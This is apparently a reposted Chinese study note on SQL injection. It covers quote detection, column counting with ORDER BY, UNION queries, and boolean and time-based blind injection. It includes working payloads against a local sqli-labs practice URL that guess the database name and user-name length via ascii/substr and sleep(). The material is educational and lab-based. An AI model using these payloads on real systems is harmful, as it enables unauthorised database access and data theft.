SQL注入-2

SQL注入的一般步骤

1.报错:需要用单引号 双引号 或者左小括号判断字符串 被什么包裹

2.正常:闭合语句,让语句不出现语法错误

3.判断列数 : order by 关键字

4.查询想要的内容 联合查询 union

基于报错的注入方式

 

布尔型盲注

条件:页面存在异常情况 ,但没有回显且没有报错信息

ascii('test') 返回 ascii码

ascii码范围是 0~127

 返回指定字符串最左侧字符的ASCII值

 练习1.

 

目标:http://10.1.2.5:10631/sqli/Less-8/?id=1

方法:布尔型盲注

 

http://10.1.2.5:10631/sqli/Less-8/?id=1' 页面显示不正常

 

http://10.1.2.5:10631/sqli/Less-8/?id=1" 页面显示正常

 

http://10.1.2.5:10631/sqli/Less-8/?id=1) 页面显示正常  说明存在单引号注入

 

http://10.1.2.5:10631/sqli/Less-8/?id=1' and  ascii(substr(database(),1,1)) =0 %23 使用二分法进行实验 如果正确页面显示正常

http://10.1.2.5:10631/sqli/Less-8/?id=1' and  ascii(substr(database(),1,1)) =115 %23

查询当前数据库用户名的长度

user():
连接时指定的user name 和 连接时客户端的host(可以连接这个数据库的用户)
 
current_user():
认证时的用户名和host name,对应 mysq.user表中的记录(当前连接这个数据库的用户)

length() 返回内容的长度

char() 返回ascii码对应的字符 比如,char(114) => r

http://10.1.2.5:10631/sqli/Less-8/?id=1' and  length(user())=14 %23

 

时间型盲注

条件:不管输入什么页面都没有任何异常,且没有回显没有报错信息

select if(True,2,3) => 2

select if(False,2,3) =>3

select if( payload,sleep(3),1) 如果payload 是真 三秒后执行 如果是假 立即执行

select if(length(current_user())>10,sleep(2),1); 查询当前用户名的长度是多少

转载于:https://www.cnblogs.com/Abelte/p/8881424.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值